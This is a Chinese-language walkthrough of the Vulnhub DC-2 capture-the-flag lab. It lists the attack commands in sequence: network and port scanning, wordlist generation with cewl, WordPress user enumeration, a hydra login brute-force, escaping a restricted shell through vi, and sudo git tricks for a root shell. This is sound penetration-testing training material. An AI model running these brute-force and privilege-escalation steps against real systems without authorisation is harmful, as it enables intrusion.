[渗透测试篇]Vulnhub之靶机DC-2

文章目录

      • 靶机描述
      • 实验环境
      • 渗透思路
        • 获取目标IP(netdiscover)
        • 端口扫描(nmap)
        • 生成密码(cewl)
        • 获取用户名(wpscan)
        • 暴力破解(hydra)
        • 登录后台
        • 全端口扫描/SSH登录
        • 逃脱受限shell/导入$PATH
        • git 提权
      • 知识总结
      • DC-系列

靶机描述

[渗透测试篇]Vulnhub之靶机DC-2_第1张图片
共有5个flag,包括最终flag.渗透任务就是跟着逐一放出的flag的hint拿到最终的flag.

实验环境

攻击机:kali
目标机:DC-2
[渗透测试篇]Vulnhub之靶机DC-2_第2张图片

涉及工具:

'netdiscover':获取目标IP
'nmap':信息收集/端口扫描/Web服务判断
'cewl':密码生成
'wpscan':WordPress漏洞黑盒扫描
'hydra':爆破

渗透思路

获取目标IP(netdiscover)

root@kali2019:~# netdiscover

[渗透测试篇]Vulnhub之靶机DC-2_第3张图片
得到目标IP地址:192.168.43.153

端口扫描(nmap)

root@kali2019:~# nmap -A 192.168.43.153

注:

#选用-A 选项之后,将检测目标主机的下述信息:
   服务版本识别(-sV)
   操作系统识别(-O)
   脚本扫描(-sC)
   Traceroute(–traceroute)

[渗透测试篇]Vulnhub之靶机DC-2_第4张图片
结果发常见的1000个端口中只有一个端口开放,即HTTP端口(80)

但是访问该地址:192.168.43.153:80的时候一直失败
[渗透测试篇]Vulnhub之靶机DC-2_第5张图片
后来经过一番折腾后才知道需要设置hosts文件才能访问

其实在端口扫描的结果中已经给出提示Did not follow redirect to http://dc-2/
只怪自己粗心没有注意细节,添加hosts:

'打开 /etc/hosts,添加或修改hosts之后保存'
  root@kali2019:~# vim /etc/hosts
'重启网络'
  root@kali2019:~# /etc/init.d/networking restart

坑1:hosts中的格式

错误配置:192.168.43.153    http://dc-2/    
正确配置:192.168.43.153    dc-2

这次通过域名访问:
[渗透测试篇]Vulnhub之靶机DC-2_第6张图片
访问后发现页面是一个wordpress,看见了flag1,flag1给出提示密码在这页面上,也就是在提醒使用cewl工具(cewl可以根据给定的URL生成密码列表)

生成密码(cewl)

使用cewl生成密码保存在当前目录的pwd.txt中:

root@kali2019:~# cewl http://dc-2/ -w pwd.txt

[渗透测试篇]Vulnhub之靶机DC-2_第7张图片
但是空有密码也没用啊,于是还得获取用户名.
之前已经知到服务器上搭建的是一个wordpress网站,所以可以想到wpscan扫描来枚举网站中的可用用户.

获取用户名(wpscan)

简介
WPScan 是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题。

使用wpscan枚举该网站的可用用户:

root@kali2019:~# wpscan --url http://dc-2

(这里由于工具原因在Technawi借了两张图)
[渗透测试篇]Vulnhub之靶机DC-2_第8张图片
扫描结果:
[渗透测试篇]Vulnhub之靶机DC-2_第9张图片
成功获得3个用户名:

# 保存至user.txt
admin
jerry
tom

目前为止,已经有了密码pwd.txt和用户名user.txt了.
因此,开始用hydra对wordpress登录进行暴力破解。

暴力破解(hydra)

用user.txt和pwd.txt开始爆破:

root@kali2019:~# hydra -L user.txt -P pwd.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

[渗透测试篇]Vulnhub之靶机DC-2_第10张图片
爆破成功,其可用用户为:

用户1:jerry  密码:adipiscing
用户2:tom    密码:parturient

尝试登录后台.

登录后台

用户名:jerry 密码:adipiscing
使用它们登录到wordpress管理员后台
[渗透测试篇]Vulnhub之靶机DC-2_第11张图片
登录成功,开始找flag
[渗透测试篇]Vulnhub之靶机DC-2_第12张图片
通过遍历管理区域后,找到了flag2
[渗透测试篇]Vulnhub之靶机DC-2_第13张图片
来到此页面,却发现了wordpress不可利用的提示,于是只好从另一用户入手了.

全端口扫描/SSH登录

由于利用wordpress插件的想法落空,所以尝试使用nmap进行完整的端口扫描:

root@kali2019:~# nmap -p- -A 192.168.43.153

结果发现还有另一个运行SSH服务的开放端口:7744
[渗透测试篇]Vulnhub之靶机DC-2_第14张图片
使用用户tom成功登录

root@kali2019:~# ssh [email protected] -p 7744

[渗透测试篇]Vulnhub之靶机DC-2_第15张图片
在目录下发现flag3.txt,在这里插入图片描述
但是用cat读取失败,于是尝试使用vi
[渗透测试篇]Vulnhub之靶机DC-2_第16张图片
读取成功,发现了一个提示,需要将用户切换为jerry.

逃脱受限shell/导入$PATH

在这里尝试使用其他命令的时候,出现错误:

-rbash: id: command not found

所以这里需要对-rbash进行绕过:

:set shell=/bin/sh
:shell

或者

:!/bin/sh

在vi中输入:set shell=/bin/sh
在这里插入图片描述
接着输入:shell
在这里插入图片描述
在成功逃离受限的shell之后,却又出现了另一个错误。

/bin/sh: 命令: not found

[渗透测试篇]Vulnhub之靶机DC-2_第17张图片
后来查阅资料发现是环境PATH变量的问题,Linux命令的路径没有出现在该变量上
[渗透测试篇]Vulnhub之靶机DC-2_第18张图片
所以这里需要导入$PATH
export PATH=/bin:/usr/bin
可以发现,错误/bin/sh: 命令: not found被成功解决了.
[渗透测试篇]Vulnhub之靶机DC-2_第19张图片

git 提权

由flag3.txt的提示可知,需要将用户切换为jerry
用户名:jerry 密码:adipiscing
在这里插入图片描述
切换成功,可是权限却不足,然后在flag4.txt的提示中发现可用git 提权.
[渗透测试篇]Vulnhub之靶机DC-2_第20张图片
使用sudo命令时,发现该用户Jerry可以以root用户身份运行git命令,而无需输入密码。
[渗透测试篇]Vulnhub之靶机DC-2_第21张图片
因此,这里可以使用git将权限提升为root用户
[渗透测试篇]Vulnhub之靶机DC-2_第22张图片
姿势1:

sudo git branch --help config
!/bin/sh

姿势2:

sudo git -p help config
!/bin/bash

姿势3:

PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help

这里使用姿势2进行提权:
[渗透测试篇]Vulnhub之靶机DC-2_第23张图片
提权成功,权限已经变成root
在这里插入图片描述
读取final-flag.txt文件的内容:
[渗透测试篇]Vulnhub之靶机DC-2_第24张图片

知识总结

使用nmap查找打开的端口和正在运行的服务。
使用cewl工具生成密码列表
使用WPSCAN枚举wordpress
使用nmap执行全端口扫描
逃脱受限shell
导入PATH环境变量
使用git工具提升权限(sudo)

DC-系列

靶机DC-1

参考文章:
Restricted Linux Shell Escaping Techniques
DC-2 vulnhub walkthrough
getshell by gtfobins

你可能感兴趣的:(渗透测试)